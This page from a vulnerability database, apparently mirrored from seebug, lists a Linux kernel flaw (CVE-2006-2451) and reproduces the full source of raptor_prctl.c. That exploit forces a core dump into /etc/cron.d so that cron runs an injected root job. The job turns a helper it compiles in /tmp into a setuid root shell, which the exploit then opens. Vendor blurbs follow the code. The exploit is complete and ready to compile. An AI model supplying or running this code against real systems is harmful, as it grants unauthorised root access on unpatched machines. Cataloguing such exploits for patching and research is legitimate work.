Lucene search
K

Linux Kernel 2.6.13 <= 2.6.17.4 - sys_prctl() Local Root Exploit (3)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 55 Views

Linux Kernel 2.6.x suid_dumpable vulnerability allowing local privilege escalation via PR_SET_DUMPABLE argument of prctl function

Related
Code

                                                /*
 * $Id: raptor_prctl.c,v 1.1 2006/07/13 14:21:43 raptor Exp $
 *
 * raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability
 * Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;
 *
 * The suid_dumpable support in Linux kernel 2.6.13 up to versions before 
 * 2.6.17.4, and 2.6.16 before 2.6.16.24, allows a local user to cause a denial 
 * of service (disk consumption) and POSSIBILY (yeah, sure;) gain privileges 
 * via the PR_SET_DUMPABLE argument of the prctl function and a program that 
 * causes a core dump file to be created in a directory for which the user does 
 * not have permissions (CVE-2006-2451).
 *
 * Berlin, Sunday July 9th 2006: CAMPIONI DEL MONDO! CAMPIONI DEL MONDO!
 * CAMPIONI DEL MONDO! (i was tempted to name this exploit &#34;pajolo.c&#34;;))
 *
 * Greets to Paul Starzetz and Roman Medina, who also exploited this ugly bug.
 *
 * NOTE. This exploit uses the Vixie&#39;s crontab /etc/cron.d attack vector: this
 * means that distributions that use a different configuration (namely Dillon&#39;s
 * crontab on Slackware Linux) can be vulnerable but not directly exploitable.
 *
 * Usage:
 * $ gcc raptor_prctl.c -o raptor_prctl -Wall
 * [exploit must be dinamically linked]
 * $ ./raptor_prctl
 * [...]
 * sh-3.00#
 *
 * Vulnerable platforms:
 * Linux from 2.6.13 up to 2.6.17.4 [tested on SuSE Linux 2.6.13-15.8-default]
 */

#include &#60;stdio.h&#62;
#include &#60;unistd.h&#62;
#include &#60;stdlib.h&#62;
#include &#60;signal.h&#62;
#include &#60;sys/stat.h&#62;
#include &#60;sys/resource.h&#62;
#include &#60;sys/prctl.h&#62;

#define INFO1	&#34;raptor_prctl.c - Linux 2.6.x suid_dumpable vulnerability&#34;
#define	INFO2	&#34;Copyright (c) 2006 Marco Ivaldi &#60;[email protected]&#62;&#34;

char payload[] = /* commands to be executed by privileged crond */
&#34;\nSHELL=/bin/sh\nPATH=/usr/bin:/usr/sbin:/sbin:/bin\n* * * * *   root   chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f /etc/cron.d/core\n&#34;;

char pwnage[] = /* build setuid() helper to circumvent bash checks */
&#34;echo \&#34;main(){setuid(0);setgid(0);system(\\\&#34;/bin/sh\\\&#34;);}\&#34; &#62; /tmp/pwned.c; gcc /tmp/pwned.c -o /tmp/pwned &&#62;/dev/null; rm -f /tmp/pwned.c&#34;;

int main(void)
{
	int 		pid, i;
	struct rlimit 	corelimit;
	struct stat	st;

	/* print exploit information */
	fprintf(stderr, &#34;%s\n%s\n\n&#34;, INFO1, INFO2);

	/* prepare the setuid() helper */
	system(pwnage);

	/* set core size to unlimited */
	corelimit.rlim_cur = RLIM_INFINITY;
	corelimit.rlim_max = RLIM_INFINITY;
	setrlimit(RLIMIT_CORE, &corelimit);

	/* let&#39;s do the PR_SET_DUMPABLE magic */
	if (!(pid = fork())) {
		chdir(&#34;/etc/cron.d&#34;);
		prctl(PR_SET_DUMPABLE, 2);
		sleep(666);
		exit(1);
	}
	kill(pid, SIGSEGV);

	/* did it work? */
	sleep(3);
	if (stat(&#34;/etc/cron.d/core&#34;, &st) &#60; 0) {
		fprintf(stderr, &#34;Error: Not vulnerable? See comments.\n&#34;);
		exit(1);
	}

	fprintf(stderr, &#34;Ready to uncork the champagne? &#34;);
	fprintf(stderr, &#34;Please wait a couple of minutes;)\n&#34;);

	/* wait for crond to execute our evil entry */
	for (i = 0; i &#60; 124; i += 2) {
		if (stat(&#34;/tmp/pwned&#34;, &st) &#60; 0) {
			fprintf(stderr, &#34;\nError: Check /tmp/pwned!\n&#34;);
			exit(1);
		}
		if (st.st_uid == 0)	
			break;
		fprintf(stderr, &#34;.&#34;);
		sleep(2);
	}

	/* timeout reached? */
	if (i &#62; 120) {
		fprintf(stderr, &#34;\nTimeout: Check /tmp/pwned!\n&#34;);
		exit(1);
	}

	/* total pwnage */
	fprintf(stderr, &#34;CAMPIONI DEL MONDO!\n\n&#34;);
	system(&#34;/tmp/pwned&#34;);
	exit(0);
}

// milw0rm.com [2006-07-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation